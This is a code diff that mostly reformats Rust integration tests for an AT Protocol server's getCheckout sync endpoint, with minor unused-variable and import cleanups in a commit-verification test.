8080- assert!(body.len() >= 2, "CAR file should have at least header length");
136136+ assert!(
137137+ body.len() >= 2,
138138+ "CAR file should have at least header length"
139139+ );
81140 for i in 0..4 {
82141 tokio::time::sleep(std::time::Duration::from_millis(50)).await;
83142 create_post(&client, &did, &jwt, &format!("Checkout post {}", i)).await;
84143 }
85144 let multi_res = client
8686- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
145145+ .get(format!(
146146+ "{}/xrpc/com.atproto.sync.getCheckout",
147147+ base_url().await
148148+ ))
87149 .query(&[("did", did.as_str())])
8888- .send().await.expect("Failed to send request");
150150+ .send()
151151+ .await
152152+ .expect("Failed to send request");
89153 assert_eq!(multi_res.status(), StatusCode::OK);
90154 let multi_body = multi_res.bytes().await.expect("Failed to get body");
9191- assert!(multi_body.len() > 500, "CAR file with 5 records should be larger");
155155+ assert!(
156156+ multi_body.len() > 500,
157157+ "CAR file with 5 records should be larger"
158158+ );
92159 let not_found_res = client
9393- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
160160+ .get(format!(
161161+ "{}/xrpc/com.atproto.sync.getCheckout",
162162+ base_url().await
163163+ ))
94164 .query(&[("did", "did:plc:nonexistent12345")])
9595- .send().await.expect("Failed to send request");
165165+ .send()
166166+ .await
167167+ .expect("Failed to send request");
96168 assert_eq!(not_found_res.status(), StatusCode::NOT_FOUND);
97169 let error_body: Value = not_found_res.json().await.unwrap();
98170 assert_eq!(error_body["error"], "RepoNotFound");
99171 let missing_res = client
100100- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
101101- .send().await.expect("Failed to send request");
172172+ .get(format!(
173173+ "{}/xrpc/com.atproto.sync.getCheckout",
174174+ base_url().await
175175+ ))
176176+ .send()
177177+ .await
178178+ .expect("Failed to send request");
102179 assert_eq!(missing_res.status(), StatusCode::BAD_REQUEST);
103180 let empty_did_res = client
104104- .get(format!("{}/xrpc/com.atproto.sync.getCheckout", base_url().await))
181181+ .get(format!(
182182+ "{}/xrpc/com.atproto.sync.getCheckout",
183183+ base_url().await
184184+ ))
105185 .query(&[("did", "")])
106106- .send().await.expect("Failed to send request");
186186+ .send()
187187+ .await
188188+ .expect("Failed to send request");
107189 assert_eq!(empty_did_res.status(), StatusCode::BAD_REQUEST);
108190}
+2-2
tests/verify_live_commit.rs
···11use bytes::Bytes;
22use cid::Cid;
33use std::collections::HashMap;
44-use std::str::FromStr;
54mod common;
6576#[tokio::test]
···108107 cursor.read_exact(&mut header_bytes)?;
109108 #[derive(serde::Deserialize)]
110109 struct CarHeader {
110110+ #[allow(dead_code)]
111111 version: u64,
112112 roots: Vec<cid::Cid>,
113113 }
···135135fn parse_cid(bytes: &[u8]) -> Result<(Cid, usize), Box<dyn std::error::Error>> {
136136 if bytes[0] == 0x01 {
137137 let codec = bytes[1];
138138- let hash_type = bytes[2];
138138+ let _hash_type = bytes[2];
139139 let hash_len = bytes[3] as usize;
140140 let cid_len = 4 + hash_len;
141141 let cid = Cid::new_v1(